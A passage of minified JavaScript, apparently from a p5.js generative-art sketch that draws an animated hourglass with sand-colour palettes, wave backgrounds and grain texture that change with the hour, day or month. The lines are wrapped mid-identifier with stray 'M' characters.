&n._touchMoved.isPlaceHolder&&n._touchEnded.isPlaceHolder}n.canvas.ontouchstart=function(e){n.touches=e.touches.map(O),k()&&(n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=n.touches[0].x,n.mouseY=n.touches[0].y,n.mouseIsPressed=!0,n.mouseButton=n.LEFT,n._mousePressedFn(e)||e.preventDefault()),n._touchStartedFn(e)||e.preventDefault()};n.canvas.ontouchmove=function(e){n.touches=e.touches.map(O),k()&&(n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=n.touches[0].x,n.mouseY=n.touches[0].y,n.mouseIsPressed=!0,n.mouseButtoM
n=n.LEFT,n._mouseDraggedFn(e)||e.preventDefault()),n._touchMovedFn(e)||e.preventDefault()};n.canvas.ontouchend=n.canvas.ontouchcancel=function(e){n.touches=e.touches.map(O),k()&&(n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=n.touches[0].x,n.mouseY=n.touches[0].y,n.mouseIsPressed=!1,n._mouseReleasedFn(e)||e.preventDefault()),n._touchEndedFn(e)||e.preventDefault()};n.hasSensorPermission=!window.DeviceOrientationEvent&&!window.DeviceMotionEvent||!(DeviceOrientationEvent.requestPermission||DeviceMotionEvent.requestPeM
rmission);n.requestSensorPermissions=function(){DeviceOrientationEvent.requestPermission&&DeviceOrientationEvent.requestPermission().then(e=>{"granted"==e&&DeviceMotionEvent.requestPermission&&DeviceMotionEvent.requestPermission().then(e=>{"granted"==e&&(n.hasSensorPermission=!0)}).catch(alert)}).catch(alert)};window.ondeviceorientation=function(e){n.pRotationX=n.rotationX,n.pRotationY=n.rotationY,n.pRotationZ=n.rotationZ,n.pRelRotationX=n.relRotationX,n.pRelRotationY=n.relRotationY,n.pRelRotationZ=n.relRotationZ,nM
.rotationX=e.beta*(Math.PI/180),n.rotationY=e.gamma*(Math.PI/180),n.rotationZ=e.alpha*(Math.PI/180),n.relRotationX=[-n.rotationY,-n.rotationX,n.rotationY][1+~~(window.orientation/90)],n.relRotationY=[-n.rotationX,n.rotationY,n.rotationX][1+~~(window.orientation/90)],n.relRotationZ=n.rotationZ};window.ondevicemotion=function(e){if(n.pAccelerationX=n.accelerationX,n.pAccelerationY=n.accelerationY,n.pAccelerationZ=n.accelerationZ,!e.acceleration){let t=((e,t)=>[(e[0]*t[0]+e[1]*t[1]+e[2]*t[2]+e[3])/(e[12]*t[0]+e[13]*t[M
1]+e[14]*t[2]+e[15]),(e[4]*t[0]+e[5]*t[1]+e[6]*t[2]+e[7])/(e[12]*t[0]+e[13]*t[1]+e[14]*t[2]+e[15]),(e[8]*t[0]+e[9]*t[1]+e[10]*t[2]+e[11])/(e[12]*t[0]+e[13]*t[1]+e[14]*t[2]+e[15])])(((e,t)=>[e[0]*t[0]+e[1]*t[4]+e[2]*t[8]+e[3]*t[12],e[0]*t[1]+e[1]*t[5]+e[2]*t[9]+e[3]*t[13],e[0]*t[2]+e[1]*t[6]+e[2]*t[10]+e[3]*t[14],e[0]*t[3]+e[1]*t[7]+e[2]*t[11]+e[3]*t[15],e[4]*t[0]+e[5]*t[4]+e[6]*t[8]+e[7]*t[12],e[4]*t[1]+e[5]*t[5]+e[6]*t[9]+e[7]*t[13],e[4]*t[2]+e[5]*t[6]+e[6]*t[10]+e[7]*t[14],e[4]*t[3]+e[5]*t[7]+e[6]*t[11]+e[7]*t[15M
],e[8]*t[0]+e[9]*t[4]+e[10]*t[8]+e[11]*t[12],e[8]*t[1]+e[9]*t[5]+e[10]*t[9]+e[11]*t[13],e[8]*t[2]+e[9]*t[6]+e[10]*t[10]+e[11]*t[14],e[8]*t[3]+e[9]*t[7]+e[10]*t[11]+e[11]*t[15],e[12]*t[0]+e[13]*t[4]+e[14]*t[8]+e[15]*t[12],e[12]*t[1]+e[13]*t[5]+e[14]*t[9]+e[15]*t[13],e[12]*t[2]+e[13]*t[6]+e[14]*t[10]+e[15]*t[14],e[12]*t[3]+e[13]*t[7]+e[14]*t[11]+e[15]*t[15]])((e=>[Math.cos(e),0,Math.sin(e),0,0,1,0,0,-Math.sin(e),0,Math.cos(e),0,0,0,0,1])(n.rotationY),(e=>[1,0,0,0,0,Math.cos(e),-Math.sin(e),0,0,Math.sin(e),Math.cos(e)M
,0,0,0,0,1])(n.rotationX)),[0,0,-9.80665]);n.accelerationX=e.accelerationIncludingGravity.x+t[0],n.accelerationY=e.accelerationIncludingGravity.y+t[1],n.accelerationZ=e.accelerationIncludingGravity.z-t[2]}};n.year=function(){return(new Date).getFullYear()};n.day=function(){return(new Date).getDay()};n.hour=function(){return(new Date).getHours()};n.minute=function(){return(new Date).getMinutes()};n.second=function(){return(new Date).getSeconds()};n.millis=function(){return window.performance.now()-c}}(e)}
or{static p;static SAND_COLOR_MODE=3;static getSandColorByIndex(e,t=0,i=30,s=50){e%=5;let a=[];var r,h,n;for(let e=0;e<5;e++){let t=e%5;1==Color.SAND_COLOR_MODE?a.push(o(t)):2==Color.SAND_COLOR_MODE?a.push(l(t)):3==Color.SAND_COLOR_MODE?a.push(d(t)):4==Color.SAND_COLOR_MODE?a.push(m(t)):5==Color.SAND_COLOR_MODE?a.push(p(t)):6==Color.SAND_COLOR_MODE?a.push(g(t)):7==Color.SAND_COLOR_MODE?a.push(c(t)):8==Color.SAND_COLOR_MODE?a.push(u(t)):9==Color.SAND_COLOR_MODE&&a.push(v(t))}return a[e];function o(e){return 0==e?(r=M
t+60,h=i+5,n=s+5):1==e?(r=t+30,h=i+5,n=s+9):2==e?(r=t,h=i,n=s):3==e?(r=t-30,h=i+5,n=s+9):4==e&&(r=t-60,h=i+5,n=s+5),r<0?r+=360:r>360&&(r-=360),chroma(r,h/100,n/100,"hsl")}function l(e){return r=t,0==e?(h=i,n=s+30):1==e?(h=i-30,n=s+8):2==e?(h=i,n=s):3==e?(h=i-30,n=s+30):4==e&&(h=i,n=s-20),h<10&&(h+=60),(0==e||3==e)&&n>100&&(n=s-50),chroma(r,h/100,n/100,"hsl")}function d(e){return 0==e?(r=t-120,h=i+10,n=s-30):1==e?(r=t+120,h=i-10,n=s):2==e?(r=t,h=i,n=s):3==e?(r=t-120,h=i+10,n=s):4==e&&(r=t+120,h=i+10,n=s-30),r>360?r-M
=360:r<0&&(r+=360),h>100&&(h-=20),n>100&&(n-=30),chroma(r,h/100,n/100,"hsl")}function m(e){return 0==e?(r=t,h=i+10,n=s-30):1==e?(r=t,h=i-30,n=s+30):2==e?(r=t,h=i,n=s):3==e?(r=t-180,h=i+20,n=s-30):4==e&&(r=t-180,h=i,n=s),r<0&&(r+=360),chroma(r,h/100,n/100,"hsl")}function p(e){return 0==e?(r=t-150,h=i-10,n=s+30):1==e?(r=t-150,h=i-5,n=s):2==e?(r=t,h=i,n=s):3==e?(r=t+150,h=i+10,n=s+30):4==e&&(r=t+150,h=i+5,n=s),r<0?r+=360:r>360&&(r-=360),h>100&&(h-=20),n>100&&(n-=60),chroma(r,h/100,n/100,"hsl")}function g(e){return 0==M
e?(r=t+60,h=i-5):1==e?(r=t+150,h=i-10):2==e?(r=t,h=i):3==e?(r=t-150,h=i+10):4==e&&(r=t-60,h=i+5),r<0?r+=360:r>360&&(r-=360),h>100&&(h-=20),n=s,chroma(r,h/100,n/100,"hsl")}function c(e){return 0==e?(r=t,h=i+20):1==e?(r=t+90,h=i-10):2==e?(r=t,h=i):3==e?(r=t+180,h=i+10):4==e&&(r=t-90,h=i+5),r<0?r+=360:r>360&&(r-=360),h>100&&(h-=20),n=s,chroma(r,h/100,n/100,"hsl")}function u(e){return 0==e?(r=t+30,h=i+10,n=s+20):1==e?(r=t+30,h=i+40,n=s+40):2==e?(r=t,h=i,n=s):3==e?(r=t+160,h=i+25,n=s+5):4==e&&(r=t+150,h=i+10,n=s+20),r>3M
60&&(r-=360),(0==e||4==e)&&h>100?h-=20:1==e&&h>90?h-=80:3==e&&h>60&&(h-=50),1==e&&n>100?n-=80:(0==e||4==e)&&n>100&&(n-=40),chroma(r,h/100,n/100,"hsl")}function v(e){return r=t,h=i,0==e?n=s-25:1==e?n=s+30:2==e?n=s:3==e?n=s+5:4==e&&(n=s-10),n>100&&(n-=80),chroma(r,h/100,n/100,"hsl")}}static chromaToArray=e=>[e._rgb[0],e._rgb[1],e._rgb[2],255*e._rgb[3]];static setColorMode=e=>{this.SAND_COLOR_MODE=e}}class Geometry{static slicePolyByY(e,t){let i=[];for(let s=0;s<e.length;s++){let a=e[s],r=s?e[s-1]:e.at(-1),h=a.y>=t;h!M
=r.y>=t&&i.push(Geometry.interWithY(r,a,t)),h&&i.push(a)}return i}static getAreaBelowY(e,t){return Geometry.getPolyArea(Geometry.slicePolyByY(e,t))}static getYByAreaBelow(e,t){let[i,s,a,r]=Geometry.getBoundingBox(e,"COORD"),h=s,n=r;for(let i=0;i<30;++i){let i=(h+n)/2;Geometry.getAreaBelowY(e,i)>t?h=i:n=i}return n}static interWithY(e,t,i){let s=e.copy(),a=t.copy(),r=createVector(-1e9,i),h=createVector(1e9,i);return Geometry.intersection(s,a,r,h)}static getPolyArea(e){let t=0;for(let i=0;i<e.length;i++){let s=e[i],a=M
e[(i+1)%e.length],r=createVector(s.x,s.y),h=createVector(a.x,a.y);t+=r.cross(h).z}return t=abs(t)/2,t}static getBoundingBox(e,t="SIZE"){let i=e[0].x,s=e[0].x,a=e[0].y,r=e[0].y;for(let t=0;t<e.length;t++)isNaN(e[t].y)||(a=min(a,e[t].y),r=max(r,e[t].y)),isNaN(e[t].x)||(i=min(i,e[t].x),s=max(s,e[t].x));return"SIZE"==t?[i,a,s-i,r-a]:"COORD"==t?[i,a,s,r]:[]}static intersection(e,t,i,s){let a=createVector(t.x-e.x,t.y-e.y),r=createVector(s.x-i.x,s.y-i.y),h=createVector(i.x-e.x,i.y-e.y),n=(a.copy().rotate(PI/2),r.copy().roM
tate(PI/2)),o=h.dot(n)/a.dot(n),l=a.mult(o);return createVector(e.x+l.x,e.y+l.y)}}class GraphicUtils{static applyMask(e,t){e.push(),e.noStroke(),e.blendMode(REMOVE),e.fill(255,255,255,255),e.beginShape(),e.vertex(0,0),e.vertex(0,e.height),e.vertex(e.width,e.height),e.vertex(e.width,0),e.beginContour();for(let i=0;i<t.length;i++)e.vertex(t[i].x,t[i].y);e.endContour(),e.endShape(e.CLOSE),e.blendMode(BLEND),e.pop()}}class Hourglass{static TICK_INTERVAL=60;static ROTATE_INTERVAL=10/3;constructor(e,t){this.evolvePeriod=M
e.evolvePeriod,t.registerIterationChangeEvent(this.onIterationChange.bind(this));let i=t.getCurrentIteration();this.onIterationChange(i),this.update(new Date)}onIterationChange(e){this.flipped=e%2==1}getState(){return{top:this.top,rotation:this.rotation,flipped:this.flipped,timeSinceRotation:this.timeSinceRotation}}update(e){let t,i=0;if(traits.evolvePeriod==EvolvePeriod.HOURLY)t=3600,i+=60*e.getMinutes(),i+=e.getSeconds(),i+=e.getMilliseconds()/1e3;else if(traits.evolvePeriod==EvolvePeriod.DAILY)t=86400,i+=60*e.geM
tHours()*60,i+=60*e.getMinutes(),i+=e.getSeconds(),i+=e.getMilliseconds()/1e3;else if(traits.evolvePeriod==EvolvePeriod.MONTHLY){let s=e.getFullYear(),a=e.getMonth()+1;t=24*new Date(s,a,0).getDate()*60*60,i+=24*(e.getDate()-1)*60*60,i+=60*e.getHours()*60,i+=60*e.getMinutes(),i+=e.getSeconds(),i+=e.getMilliseconds()/1e3}this.flipped?this.top=1-min(1,i/t):this.top=min(1,i/t),this.timeSinceRotation=max(0,i-Hourglass.ROTATE_INTERVAL);let s=Math.min(i,Hourglass.ROTATE_INTERVAL);this.rotation=this.flipped?PI:0,this.rotatM
ion+=s/Hourglass.ROTATE_INTERVAL*PI}}function getRandomInt(e,t){return floor(random(e,t))}function getRandomItem(e){let t=0;for(const i of e)t+=i[1];let i=random(t),s=0;for(const t of e)if(s+=t[1],i<s)return t[0];return null}function shuffle(e){for(let t=1;t<e.length;++t){let i=getRandomInt(0,t),s=e[t];e[t]=e[i],e[i]=s}}class PostProcessing{constructor(e,t,i){this.wCanvas=e,this.hCanvas=t,this.graphic=createGraphics(this.wCanvas,this.hCanvas),this.updateFilter(1)}updateFilter(e,t,i){this.graphic.fill(255,255,255,25M
5),this.graphic.blendMode(REMOVE),this.graphic.rect(0,0,this.wCanvas,this.hCanvas),this.graphic.blendMode(BLEND);let s,a=this.wCanvas/2,r=this.hCanvas/2,h=2*sqrt(a*a+r*r);s=a>r?sqrt(1-Math.pow(r/a,2)):sqrt(1-Math.pow(a/r,2));let n,o;if(1!=abs(e)){let t,i;3==abs(e)?(t=6,i=.6):10==abs(e)?(t=4,i=.5):60==abs(e)?(t=3,i=.4):3600==abs(e)&&(t=2,i=.3),o=i-.1,n=map(sin(Date.now()/1e3/t*TAU),-1,1,i-.1,i+.1)}else i?(o=1,n=1):(o=.75,n=.75);this.graphic.push(),this.graphic.ellipseMode(RADIUS),this.graphic.translate(a,r);for(let M
e=39;e>=0;e--){let t=(e+1)/40;if(1==o||map(t,o,1,0,1.2)<=0)break;let i=max(map(t,n,1,0,1.2),0),s=color(0,0,0,255*i);this.graphic.fill(s),this.graphic.noStroke(),this.graphic.ellipse(0,0,h*a/(a+r)*t,h*r/(a+r)*t),e>0&&(t=e/40,this.graphic.fill(255,255,255,255),this.graphic.blendMode(REMOVE),this.graphic.ellipse(0,0,h*a/(a+r)*t,h*r/(a+r)*t),this.graphic.blendMode(BLEND))}this.graphic.pop()}applyToMainCanvas(){image(this.graphic,0,0)}}class BackgroundRenderer{constructor(e,t,i,s,a,r){this.wCanvas=e.width,this.hCanvas=eM
.height,this.maxR=min(this.wCanvas,this.hCanvas)/1024,this.dx,this.yvalues,this.xvalues,this.xspacing1=[],this.thickness1=[],this.theta1=[],this.velocity1=[],this.sz1=[],this.xspacing2=[],this.thickness2=[],this.theta2=[],this.velocity2=[],this.sz2=[],this.xspacing3=[],this.thickness3=[],this.theta3=[],this.velocity3=[],this.sz3=[],this.xspacing4=[],this.thickness4=[],this.theta4=[],this.velocity4=[],this.sz4=[],this.c=[],this.num_waves=30,this._h=t,this._s=i,this._l=s,this.patternOrder=a.patternOrder,this.diagonalM
=sqrt(Math.pow(width,2)+Math.pow(height,2));let h=createVector(width,height).heading(),n=abs(PI/4-h);this.ty=this.diagonal/2*cos(n),this.waveSpeed=a.waveSpeed,this.wavePeriod=a.wavePeriod,this.waveHeight=a.waveHeight,this.evolvePeriod=a.evolvePeriod,this.evolvePeriod==EvolvePeriod.DAILY?this.num_lines=7:(this.evolvePeriod==EvolvePeriod.HOURLY||this.evolvePeriod==EvolvePeriod.MONTHLY)&&(this.num_lines=12),this.waveHeight==WaveHeight.SHORT?this.amplitude=getRandomInt(20,30):this.waveHeight==WaveHeight.MEDIUM?this.ampM
litude=getRandomInt(30,40):this.waveHeight==WaveHeight.TALL&&(this.amplitude=getRandomInt(40,50)),this.wavePeriod==WavePeriod.SHORT?this.period=getRandomInt(300,351):this.wavePeriod==WavePeriod.MEDIUM?this.period=getRandomInt(425,476):this.wavePeriod==WavePeriod.LONG&&(this.period=getRandomInt(600,651)),this.waveSpeed==WaveSpeed.SLOW?(this.min_speed=.003,this.max_speed=.005):this.waveSpeed==WaveSpeed.MEDIUM?(this.min_speed=.008,this.max_speed=.01):this.waveSpeed==WaveSpeed.FAST&&(this.min_speed=.015,this.max_speed=M
.018),this.thetaList=[0,1/4*PI,.5*PI,3/4*PI,PI],this.setupStaticWave(),this.setupDynamicWave(),r.registerIterationChangeEvent(this.onIterationChange.bind(this));let o=r.getCurrentIteration();this.onIterationChange(o)}onIterationChange(e){randomSeed(100*e+1),shuffle(this.xspacing1),shuffle(this.thickness1),shuffle(this.theta1),shuffle(this.xspacing1),shuffle(this.velocity1),shuffle(this.xspacing2),shuffle(this.thickness2),shuffle(this.theta2),shuffle(this.xspacing2),shuffle(this.velocity2),shuffle(this.xspacing3),shM
uffle(this.thickness3),shuffle(this.theta3),shuffle(this.xspacing3),shuffle(this.velocity3),shuffle(this.xspacing4),shuffle(this.thickness4),shuffle(this.theta4),shuffle(this.xspacing4),shuffle(this.velocity4)}setupStaticWave(){for(let e=0;e<this.num_waves;e++){this.xspacing1.push(getRandomInt(5,50)),this.thickness1.push(getRandomInt(50,200)),this.theta1.push({value:random(this.thetaList)}),this.velocity1.push({value:random(this.min_speed,this.max_speed)}),this.sz1.push(random(.5,3)),this.xspacing2.push(getRandomInM
t(5,50)),this.thickness2.push(getRandomInt(50,200)),this.theta2.push({value:random(this.thetaList)}),this.velocity2.push({value:random(this.min_speed,this.max_speed)}),this.sz2.push(random(.5,3)),this.xspacing3.push(getRandomInt(5,50)),this.thickness3.push(getRandomInt(50,200)),this.theta3.push({value:random(this.thetaList)}),this.velocity3.push({value:random(this.min_speed,this.max_speed)}),this.sz3.push(random(.5,3)),this.xspacing4.push(getRandomInt(5,50)),this.thickness4.push(getRandomInt(50,200)),this.theta4.puM
sh({value:random(this.thetaList)}),this.velocity4.push({value:random(this.min_speed,this.max_speed)}),this.sz4.push(random(.5,3));let t=e%5;this.c.push(Color.getSandColorByIndex(t,this._h,this._s,this._l).luminance(.25))}}setupDynamicWave(){this.dynamicWave={h:random(this.hCanvas/3),xspacing:getRandomInt(5,20),thickness:getRandomInt(100,200),theta:{value:random(this.thetaList)},velocity:{value:random(this.min_speed,this.max_speed)},sz:random(1,3),num_lines:0},1==this.patternOrder[0]?this.dynamicWave.h=random(200,heM
ight-200):2==this.patternOrder[0]?this.dynamicWave.h=random(200,width-200):(3==this.patternOrder[0]||4==this.patternOrder[0])&&(this.dynamicWave.h=random(200,2*this.ty-200))}update(e){this.time=e}drawHorWave(e,t,i,s,a,r,h,n,o){this.dx=TWO_PI/this.period*i,this.yvalues=new Array(floor(width/i+20));let l=this.time.getTime()/(1e3/60),d=r.value+h.value*l/5+t;for(let e=0;e<this.yvalues.length;e++)this.yvalues[e]=sin(d)*this.amplitude,d+=this.dx;for(let r=0;r<a;r++){e.noStroke(),e.fill(color(...Color.chromaToArray(o))),tM
+=s/a;for(let s=0;s<this.yvalues.length;s++){let a=s*i,r=t+this.yvalues[s];r<-2||r>height+2||e.square(a,r,n*this.maxR)}}}drawVerWave(e,t,i,s,a,r,h,n,o){this.dx=TWO_PI/this.period*i,this.xvalues=new Array(floor(height/i+20));let l=this.time.getTime()/(1e3/60),d=r.value+h.value*l/5+t;for(let e=0;e<this.xvalues.length;e++)this.xvalues[e]=sin(d)*this.amplitude,d+=this.dx;for(let r=0;r<a;r++){e.noStroke(),e.fill(color(...Color.chromaToArray(o))),t+=s/a;for(let s=0;s<this.xvalues.length;s++){let a=t+this.xvalues[s],r=s*iM
;a<-2||a>width+2||e.square(a,r,n*this.maxR)}}}drawDiaWave(e,t,i,s,a,r,h,n,o,l){let d=cos(-l),m=sin(-l);this.dx=TWO_PI/this.period*i,this.yvalues=new Array(floor(this.diagonal/i));let p=this.time.getTime()/(1e3/60),g=r.value+h.value*p/5+t;for(let e=0;e<this.yvalues.length;e++)this.yvalues[e]=sin(g)*this.amplitude,g+=this.dx;for(let r=0;r<a;r++){e.noStroke(),e.fill(color(...Color.chromaToArray(o))),t+=s/a;for(let s=0;s<this.yvalues.length;s++){let a=s*i,r=t+this.yvalues[s],h=n*this.maxR,o=a-this.diagonal/2,l=r-this.tM
y,p=o*d+l*m+width/2,g=-o*m+l*d+height/2;p<-2||p>width+2||g<-2||g>height+2||e.square(a,r,h)}}}drawHorizontal(e){let t=-50;for(let i=0;i<this.theta1.length;i++)this.drawHorWave(e,t,this.xspacing1[i]*width/1024,this.thickness1[i]*height/1024,this.num_lines,this.theta1[i],this.velocity1[i],this.sz1[i],this.c[i]),t+=(height+50)/this.num_waves}drawVertical(e){let t=-50;for(let i=0;i<this.theta1.length;i++)this.drawVerWave(e,t,this.xspacing2[i]*height/1024,this.thickness2[i]*width/1024,this.num_lines,this.theta2[i],this.vM
elocity2[i],this.sz2[i],this.c[i]),t+=(width+50)/this.num_waves}drawLeft(e){let t=0;for(let i=0;i<this.theta1.length;i++)e.push(),e.translate(width/2,height/2),e.rotate(PI/4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,t,this.xspacing3[i]*this.maxR,this.thickness3[i]*this.maxR,this.num_lines,this.theta3[i],this.velocity3[i],this.sz3[i],this.c[i],PI/4),e.pop(),t+=(2*this.ty-100)/(this.num_waves-1)}drawRight(e){let t=0;for(let i=0;i<this.theta1.length;i++)e.push(),e.translate(width/2,height/2),e.rotate(M
3*PI/4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,t,this.xspacing4[i]*this.maxR,this.thickness4[i]*this.maxR,this.num_lines,this.theta4[i],this.velocity4[i],this.sz4[i],this.c[i],3*PI/4),e.pop(),t+=(2*this.ty-100)/(this.num_waves-1)}drawPattern(e,t){1==t?this.drawHorizontal(e):2==t?this.drawVertical(e):3==t?this.drawLeft(e):this.drawRight(e)}draw(e,t,i,s,a){this._h=s.h,this._s=s.s,this._l=s.l,e.background(0);let r=t.getHours()>=6&&t.getHours()<18?.2:.05,h=Color.getSandColorByIndex(4,this._h,this._s,M
this._l).luminance(r).alpha(.5);if(e.background(color(...Color.chromaToArray(h))),!a)return;this.evolvePeriod==EvolvePeriod.HOURLY?this.dynamicWave.num_lines=(t.getHours()+11)%12+1:this.evolvePeriod==EvolvePeriod.DAILY?this.dynamicWave.num_lines=t.getDay()+1:this.evolvePeriod==EvolvePeriod.MONTHLY&&(this.dynamicWave.num_lines=t.getMonth()+1);for(let e=0;e<this.num_waves;e++){let t=e%5;this.c[e]=Color.getSandColorByIndex(t,this._h,this._s,this._l).luminance(.25)}1==i?(3==this.patternOrder[0]||4==this.patternOrder[0]M
?this.num_waves=30:this.num_waves=20,this.drawPattern(e,this.patternOrder[0])):2==i?(this.patternOrder[0]+this.patternOrder[1]==3?this.num_waves=10:this.patternOrder[0]+this.patternOrder[1]==7?this.num_waves=20:this.num_waves=15,this.drawPattern(e,this.patternOrder[0]),this.drawPattern(e,this.patternOrder[1])):3==i?(this.num_waves=10,this.drawPattern(e,this.patternOrder[0]),this.drawPattern(e,this.patternOrder[1]),this.drawPattern(e,this.patternOrder[2])):(this.num_waves=10,this.drawPattern(e,this.patternOrder[0]),M
this.drawPattern(e,this.patternOrder[1]),this.drawPattern(e,this.patternOrder[2]),this.drawPattern(e,this.patternOrder[3]));let{h:n,xspacing:o,thickness:l,num_lines:d,theta:m,velocity:p,sz:g}=this.dynamicWave,c=Color.getSandColorByIndex(0,this._h,this._s,this._l).luminance(.5);1==this.patternOrder[0]?this.drawHorWave(e,n,o*width/1024,l*height/1024,d,m,p,g,c):2==this.patternOrder[0]?this.drawVerWave(e,n,o*height/1024,l*width/1024,d,m,p,g,c):3==this.patternOrder[0]?(e.push(),e.translate(width/2,height/2),e.rotate(PI/M
4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,n,o*this.maxR,l*this.maxR,d,m,p,g,c,PI/4),e.pop()):4==this.patternOrder[0]&&(e.push(),e.translate(width/2,height/2),e.rotate(3*PI/4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,n,o*this.maxR,l*this.maxR,d,m,p,g,c,3*PI/4),e.pop())}}class GrainRenderer{static texture;static deltaX;static deltaY;static maxDelta=100;static wCanvas;static hCanvas;static setup(e,t){GrainRenderer.wCanvas=e+GrainRenderer.maxDelta,GrainRenderer.hCanvas=t+GrainRendereM
r.maxDelta,GrainRenderer.deltaX=random(-GrainRenderer.maxDelta,0),GrainRenderer.deltaY=random(-GrainRenderer.maxDelta,0),GrainRenderer.texture=createImage(GrainRenderer.wCanvas,GrainRenderer.hCanvas),GrainRenderer.texture.loadPixels();let i=GrainRenderer.texture.pixelDensity();for(let e=0;e<GrainRenderer.wCanvas;e++)for(let t=0;t<GrainRenderer.hCanvas;t++){let s=216.75,a=255,r=random(s,a),h=random(s,a),n=random(s,a);for(let s=0;s<i;s++)for(let a=0;a<i;a++){let o=4*((t*i+a)*GrainRenderer.wCanvas*i+(e*i+s));GrainRendM
erer.texture.pixels[o]=r,GrainRenderer.texture.pixels[o+1]=h,GrainRenderer.texture.pixels[o+2]=n,GrainRenderer.texture.pixels[o+3]=255}}GrainRenderer.texture.updatePixels()}static applyGrain(e,t){let i=!!t&&{atFrame:1};e.textureOverlay(GrainRenderer.texture,{mode:BURN,animate:i})}static applyGrainToMainCanvas(e){blendMode(BURN),e&&(GrainRenderer.deltaX=random(-GrainRenderer.maxDelta,0),GrainRenderer.deltaY=random(-GrainRenderer.maxDelta,0)),image(GrainRenderer.texture,GrainRenderer.deltaX,GrainRenderer.deltaY)}}conM
st HourglassSize={SMALL:"SMALL",MEDIUM:"MEDIUM",LARGE:"LARGE"};class HourglassRenderer{constructor(e,t,i){this.nLayer=10,this.wCanvas=e.width,this.hCanvas=e.height,this.hourglassSize=t.hourglassSize,this.poly=t.poly,this.evolvePeriod=t.evolvePeriod,this.xc=this.wCanvas/2,this.yc=this.hCanvas/2,this.x1=this.xc+random(100,300),this.y1=this.yc+random(100,300),this.x2=this.xc+random(100,300),this.y2=this.yc+random(100,300),this.x1m=this.wCanvas-this.x1,this.y1m=this.y1,this.maxR=min(this.wCanvas,this.hCanvas)/2,1==thisM
.poly?this.mainRadius=.1*this.maxR*4:this.mainRadius=.1*this.maxR*getRandomInt(1,6),i.registerIterationChangeEvent(this.onIterationChange.bind(this));let s=i.getCurrentIteration();this.onIterationChange(s),this.topline=this.polygon(this.xc,this.yc,this.poly,PI),this.bottomline=this.polygon(this.xc,this.yc,this.poly,0),this.sandRects=[Geometry.getBoundingBox(this.topline),Geometry.getBoundingBox(this.bottomline)],this.excitement=.15*max(this.sandRects[0][2],this.sandRects[0][3]),this.dx=[],this.dy=[];for(let e=0;e<2M
*this.nLayer;++e)this.dx[e]=random(-this.excitement,this.excitement),this.dy[e]=random(-this.excitement,this.excitement);this.curSecond=(new Date).getSeconds(),this.rotateAngle=0}onIterationChange(e){randomSeed(100*e+2),this.startAngle=this.getStartAngle(),this.radiuses=this.getRadiuses()}getIteration(e){let t,i=e.getTime()-60*e.getTimezoneOffset()*1e3;return this.evolvePeriod==EvolvePeriod.HOURLY?t=floor(i/36e5):this.evolvePeriod==EvolvePeriod.DAILY?t=floor(i/864e5):this.evolvePeriod==EvolvePeriod.MONTHLY&&(t=12*(M
e.getFullYear()-1970)+e.getMonth()),t}getStartAngle(){let e=getRandomInt(1,6);return PI/(2.5+.5*e)}getRadiuses(){let e,t;this.hourglassSize==HourglassSize.MEDIUM?(e=.45*this.maxR,t=.55*this.maxR):this.hourglassSize==HourglassSize.LARGE&&(e=.6*this.maxR,t=.7*this.maxR);let i=[];for(let s=0;s<this.poly;s++){let a;a=0==s?e:random(e,t),i.push(a)}return i}update(e,t){if(e.getSeconds()!=this.curSecond){this.curSecond=e.getSeconds(),this.secondTicked=!0,this.rotateAngle+=PI/30;for(let e=0;e<2*this.nLayer;++e)this.dx[e]=raM
ndom(-this.excitement,this.excitement),this.dy[e]=random(-this.excitement,this.excitement)}else this.secondTicked=!1;this.topline=this.polygon(this.xc,this.yc,this.poly,PI+t),this.bottomline=this.polygon(this.xc,this.yc,this.poly,t),this.sandRects=[Geometry.getBoundingBox(this.topline),Geometry.getBoundingBox(this.bottomline)],this.time=e,this.rotation=t}draw(e,t,i){let s=i.luminance(.3);e.fill(255,255,255,255),e.blendMode(REMOVE),e.rect(0,0,this.wCanvas,this.hCanvas),e.blendMode(BLEND),0==t?this.drawShadowNormal(eM
,s,this.time):1==t&&this.drawShadowCircle(e,s),e.fill(255,255,255,255),e.blendMode(REMOVE),this.drawShape(e,this.topline),this.drawShape(e,this.bottomline),e.blendMode(BLEND)}drawShadowNormal(e,t,i){let s=floor(i.getMinutes()/10),a=i.getMinutes()%10;e.push(),e.noFill(),e.strokeWeight(.005*this.maxR);for(let i=0;i<s;i++){let a=map(i,s,0,.2,.5),r=color(...Color.chromaToArray(t.alpha(a)));e.stroke(r),this.getAndDrawPolygon(e,this.xc+this.dx[2*i],this.yc+this.dy[2*i],this.poly,PI)}for(let i=0;i<a;i++){let s=map(i,a,0,.M
2,.5),r=color(...Color.chromaToArray(t.alpha(s)));e.stroke(r),this.getAndDrawPolygon(e,this.xc+this.dx[2*i+1],this.yc+this.dy[2*i+1],this.poly,0)}e.pop()}drawShadowCircle(e,t){e.push(),e.noStroke(),e.translate(this.xc,this.yc),e.rotate(PI+this.rotateAngle);for(let i=0;i<3;i++){let s=map(i,3,0,.2,.5),a=color(...Color.chromaToArray(t.alpha(s)));e.fill(a),this.getAndDrawPolygon(e,0,2.5*this.mainRadius,this.poly,PI),this.getAndDrawPolygon(e,0,2.5*-this.mainRadius,this.poly,0),e.rotate(PI/3)}e.pop(),e.push(),e.noFill(),M
e.strokeWeight(2),e.translate(this.xc,this.yc),e.rotate(-this.rotateAngle+PI/30);for(let i=0;i<3;i++){let s=map(i,3,0,.2,.5),a=color(...Color.chromaToArray(t.alpha(s)));e.stroke(a),this.getAndDrawPolygon(e,0,-this.mainRadius/2,this.poly,PI),this.getAndDrawPolygon(e,0,this.mainRadius/2,this.poly,0),e.rotate(-PI/3)}e.pop()}getAndDrawPolygon(e,t,i,s,a){let r=this.polygon(t,i,s,a);this.drawShape(e,r)}drawShape(e,t){e.beginShape();for(let i=0;i<t.length;i++)e.vertex(t[i].x,t[i].y);e.endShape(e.CLOSE)}polygon(e,t,i,s){leM
